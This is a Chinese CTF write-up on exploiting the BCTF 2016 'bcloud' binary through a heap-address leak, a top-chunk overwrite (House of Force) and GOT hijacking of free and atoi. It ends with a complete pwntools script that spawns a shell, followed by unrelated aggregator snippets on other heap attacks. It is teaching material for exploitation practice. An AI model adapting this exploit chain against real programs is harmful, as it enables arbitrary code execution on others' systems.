Attack Top Chunk之 bcloud

前言

这是 bctf 2016 的题,链接

https://github.com/ctfs/write-ups-2016/tree/master/bctf-2016/exploit/bcloud-200

相关资源

https://gitee.com/hac425/blog_data/tree/master/bcloud

正文

首先程序开启的保护

[email protected]:~/workplace/bcloud$ checksec bcloud
[*] ‘/home/haclh/workplace/bcloud/bcloud‘
    Arch:     i386-32-little
    RELRO:    Partial RELRO
    Stack:    Canary found
    NX:       NX enabled
    PIE:      No PIE

Partial RELRO 可以改 got

在  init_some 里面藏着两个非常隐蔽的漏洞。进去看看,首先调用 get_username 获取一个 name

首先使用 read_to_buf 获取 name, 最大大小为 0x40, 然后 malloc 一块内存用于存放 name,

如果我们输入 0x40 个字符, 那么 name[0x41] = \x00, 回到 get_username ,我们发现 nameptr 是相邻的

  char name; // [esp+1Ch] [ebp-5Ch]
  char *ptr; // [esp+5Ch] [ebp-1Ch]

那么 name[0x41] 其实就是 ptr 最低字节(小端模式下), 在 read_to_buf 之后才通过  malloc 把分配的指针存在了 ptr, 所以 ptr 会覆盖掉 read_to_buf 中为字符串设置的 \x00 终结符(name[0x41] = \x00), 接着又用了

strcpy(ptr, &name);

来拷贝字符串,这就会把 ptr 的值也拷贝进  ptr 指向的堆内存(溢出)。拷贝完后,紧接着会调用 printf 打印 ptr 所指向的字符串,我们就可以泄露 堆地址

调试验证一下, 输入 0x40a, 然后在调用 strcpy 处下个断点。

可以看到, name 字符串的终结符 \x00 已经被 新分配的内存地址 0x0804c008 给吃掉了,调用 strcpy 就会把 ptr 的值一起拷贝进 新分配的内存 0x0804c008 , 接下来的 printf 就会打印出这个地址,这样就能拿到  堆地址 了。

回到 init_some 函数,接下来会调用 set_host_org

get_username 一样的漏洞

  char org_; // [esp+1Ch] [ebp-9Ch]
  char *org_ptr; // [esp+5Ch] [ebp-5Ch]
  int host_; // [esp+60h] [ebp-58h]
  char *host_ptr; // [esp+A4h] [ebp-14h]

首先分配读入 org_  和 host_ ,然后分配 host_ptrorg_ptr, 其中 org_org_ptr 是相邻的 ,而 org_ptrhost_ 是相邻的,所以当输入 0x40 字节的  org_ 然后 到了最后的

strcpy(org_ptr, &org_);

就会 把 org_ , org_ptrhost_ 一起拷贝到  org_ptr 所指向的内存.

由于 org_ptr 是后面 malloc 的,所以 org_ptrtop chunk 相邻,于是我们就可以溢出 top chunk, org_ptr 的值会在 top chunkpre_size 为, 而 top chunksize 位则为 host_ 的开始 4 个字节。所以我们现在可以任意修改 top chunksize 位。

然后在 new_note 里面,我们可以控制分配的大小,而且我们可以 分配最多 10note

所以我们现在的能力

可以修改top chunk的 size
可以控制 malloc 的参数
可以malloc的次数 >= 2

house of force 搞起来,通过 house of force  我们可以 malloc 到任意地址。

先覆盖 top chunksize0xffffffff, 然后使用计算公式 ( 32 位)

evil_size = target_addr - 2 * 0x4 - top_chunk_addr

然后在

malloc(evil_size)
ptr = malloc(size)

那么 ptr 就是 target_addr + 2 * 0x4 了( pre_size + size = 2 * 4 )。

再配合程序的 edit_note 就可以实现 任意地址写。

任意地址写的实现如下

首先使用 house of force, 使得 note1 指向 note_ptr_table

接着操作 note1, 就是编辑 note_ptr_table 。同时每次对 note_ptr_table 的操作都要记得 note_ptr_table[1] = note_ptr_table, 这样可以维持编辑 note_ptr_table 的能力,同时在后面可以重用这部分代码来 进行 内存 写。

由于  note0size=evil_size ,其实这是个负数,测试时对 note0 进行 edit 有一两个字节写不进去,于是,多分配一个 note2, 用它来作为 ** 任意地址写** 的载体。

任意地址写的代码片段如下,(懒的抽出来重写一个函数了

为了 getshell, 还差一个 libc 的地址,然而程序里面没有提供 输出的功能,我们可以把 [email protected] 改成  [email protected], 之后调用 free(ptr) 就是 puts(ptr) , 而 ptr 使我们可控的

于是任意地址读实现。

整理一下利用过程

  • get_name 处利用漏洞,拿到 heap 的地址,计算 top chunk 的地址
  • house of force 分配到 note_ptr_table 的地址
  • 利用 edit 功能实现任意地址写
  • [email protected] 改成  [email protected],实现任意地址读
  • [email protected] 拿到 libc 的基地址
  • 修改 [email protected]system
  • 发送 sh , 触发 aoti("sh"), 实际执行的是 system("sh")

参考

http://uaf.io/exploitation/2016/03/20/BCTF-bcloud.html

最后的 exp

#/usr/bin/env python
# -*- coding: utf-8 -*-

from pwn import *

# context.terminal = [‘tmux‘, ‘splitw‘, ‘-h‘]
context(log_level=‘debug‘)
p = process("./bcloud")

gdb.attach(p,‘‘‘
bp 0x08048829
c
    ‘‘‘)
pause()

p.recvuntil("Input your name:")
p.send("a" * 0x40)

p.recv(0x44)
p.recv(0x44)
heap = u32(p.recv(4)) - 0x8
top_chunk_addr = heap + 216

log.info("got heap: " + hex(heap))
log.info("got top_chunk_addr: " + hex(top_chunk_addr))
pause()

p.recvuntil("Org:")
p.send("b" * 0x40)

payload = p32(0xffffffff)  #  top chunk 的 size 位
payload += "c" * (0x40 - len(payload))
p.recvuntil("Host:")
p.send(payload)

bss_addr = 0x0804B120   #  note_ptr_table 的地址
evil_size = bss_addr - 8 - top_chunk_addr -8 # 计算一个size , 用于在第二次 malloc 是返回 bss_addr
log.info("evil_size: " + hex(evil_size))
log.info("set top chunk size: 0xffffffff")
pause()

p.recvuntil("option--->>")
p.sendline("1")
p.recvuntil("note content:")
p.sendline(str(evil_size - 4))   # malloc(len + 4), note0
p.recvuntil("Input the content:")
p.sendline("a" * 4)

p.recvuntil("option--->>")
p.sendline("1")
p.recvuntil("note content:")
p.sendline(str(0x40))       #  此时分配到 note1,  note1 ---> bss_addr
p.recvuntil("Input the content:")

free_got = 0x0804B014
puts_plt = 0x08048520
puts_got = 0x0804B024
payload = p32(free_got)
payload += p32(bss_addr)  # 为了维持控制,使得 note_ptr_table[1] 的值始终为 note_ptr_table 的地址

p.sendline(payload)

## note 2
p.recvuntil("option--->>")
p.sendline("1")
p.recvuntil("note content:")
p.sendline(str(0x40))
p.recvuntil("Input the content:")
p.sendline("a" * 4)

log.info("note0--->[email protected] , note1--->ptr_table")
pause()

p.recvuntil("option--->>")
p.sendline("3")
p.recvuntil("Input the id:")
p.sendline(str(1))
p.recvuntil("Input the new content:")

payload = p32(free_got)
payload += p32(bss_addr)
payload += p32(free_got)   # target addr , 要写的地址
payload += p32(puts_got)
p.sendline(payload)

p.recvuntil("option--->>")
p.sendline("3")
p.recvuntil("Input the id:")
p.sendline(str(2))
p.recvuntil("Input the new content:")
p.sendline(p32(puts_plt))   # data to write,要写的数据

log.info("[email protected] ---> puts_plt")
pause()

p.recvuntil("option--->>")
p.sendline("4")
p.recvuntil("Input the id:")
p.sendline(str(3))

libc = u32(p.recvuntil("Delete success.")[1:5]) - 0x5fca0
system = libc + 0x3ada0
log.info("libc: " + hex(libc))
log.info("system: " + hex(system))
pause()

p.recvuntil("option--->>")
p.sendline("3")
p.recvuntil("Input the id:")
p.sendline(str(1))
p.recvuntil("Input the new content:")

aoti_got = 0x0804B03C
payload = p32(free_got)
payload += p32(bss_addr)
payload += p32(aoti_got)
p.sendline(payload)

p.recvuntil("option--->>")
p.sendline("3")
p.recvuntil("Input the id:")
p.sendline(str(2))
p.recvuntil("Input the new content:")
p.sendline(p32(system))

log.info("aoti--->system")
pause()

p.sendline("sh")
p.interactive()

原文地址:https://www.cnblogs.com/hac425/p/9416712.html

时间: 2024-11-10 16:12:40

Attack Top Chunk之 bcloud的相关文章

Fastbin Attack

题外:本文只是记录自己所学,参考博客:https://ctf-wiki.github.io/ctf-wiki/pwn/linux/glibc-heap/fastbin_attack-zh/ fastbin attack大体思路是修改chunk的fd指针或通过free伪造的chunk,将其添加到fastbin链表中,再通过malloc分配给用户从而达到任意地址写.大致可分为以下几种利用方法. fastbin double free: fastbin double free就是将同一个chunk 

HITCON Training lab14 magic heap 堆技巧unsroted bin attack

目录 常规检查 逆向分析 create_heap 函数 edit 函数 delete 函数 main 函数 整体思路 利用过程 拿 shell get flag exp 脚本 内容来源 常规检查 逆向分析 -------------------------------- Magic Heap Creator -------------------------------- 1. Create a Heap 2. Edit a Heap 3. Delete a Heap 4. Exit -----

how2heap 源码及输出

备个份,慢慢写总结 1 first_fit 1 #include <stdio.h> 2 #include <stdlib.h> 3 #include <string.h> 4 5 int main() 6 { 7 printf("This file doesn't demonstrate an attack, but shows the nature of glibc's allocator.\n"); 8 printf("glibc u

Kali下使用libheap

Kali下使用libheap 在github上,可以libheap用来帮助调试堆溢出.链接见:https://github.com/cloudburst/libheap 但是最后一次更新在一年前了,我直接拿着在Kali 2.0上使用时,会出错,比如: 我就对其进行了修改,保证可以在Kali 2.0下完美使用,32位和64位都可以使用.我的系统版本: 以后碰见其它Linux发行版,都可以对其修改.在不同的发行版之间,在malloc_state和malloc_par结构体中,稍微有些区别,只需要下载

有关于二进制漏洞和利用的碎碎念

有关于二进制漏洞和利用的碎碎念 划水作品 偷闲记录一下二进制方面的各种概念,各种原理,各种利用等等,方便过后查阅,也为之后的学习路线列一个大的框架,主要内容还是针对CTF中的pwn,实际漏洞也有这些方面,不过就需要花更多的精力慢慢硬磕了. 栈溢出 由于种种原因,这是本人学习时间最长的一种漏洞,学的时候还有乌云,学完... 栈溢出原理很简单,就是栈上的数据没有合理的被控制,从而使得输入数据超出它本应该在的范围,越界少的可能只是局部变量覆盖,多的就是劫持控制流,不同情况造成不同的后果. 栈溢出是二进

堆之*bin理解

在程序运行中,使用bins结构对释放的堆块进行管理,以减少向系统申请内存的开销,提高效率. chunk数据结构 从内存申请的所有堆块,都使用相同的数据结构--malloc_chunk,但在inuse和free状态,表现形式上略有差别. chunk-> +-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+ | Size of previous chunk, if unallocated (P clear) | +-+-+

babyheap

64位程序,保护全开 #fastbin attack 程序逻辑 1 __int64 __fastcall main(__int64 a1, char **a2, char **a3) 2 { 3 __int64 v4; // [rsp+8h] [rbp-8h] 4 5 v4 = sub_B70(a1, a2, a3); 6 while ( 1 ) 7 { 8 printmenu(); 9 sub_138C(); 10 switch ( (unsigned __int64)off_14F4 ) 1

10.overlapping_chunks_2

源代码 1 /* 2 Yet another simple tale of overlapping chunk. 3 4 This technique is taken from 5 https://loccs.sjtu.edu.cn/wiki/lib/exe/fetch.php?media=gossip:overview:ptmalloc_camera.pdf. 6 7 This is also referenced as Nonadjacent Free Chunk Consolidatio

House of Spirit(fastbin)

0x01 fastbin fastbin所包含chunk的大小为16 Bytes, 24 Bytes, 32 Bytes, … , 80 Bytes.当分配一块较小的内存(mem<=64 Bytes)时,会首先检查对应大小的fastbin中是否包含未被使用的chunk,如果存在则直接将其从fastbin中移除并返回:否则通过其他方式(剪切top chunk)得到一块符合大小要求的chunk并返回. 而当free一块chunk时,也会首先检查其大小是否落在fastbin的范围中.如果是,则将其插入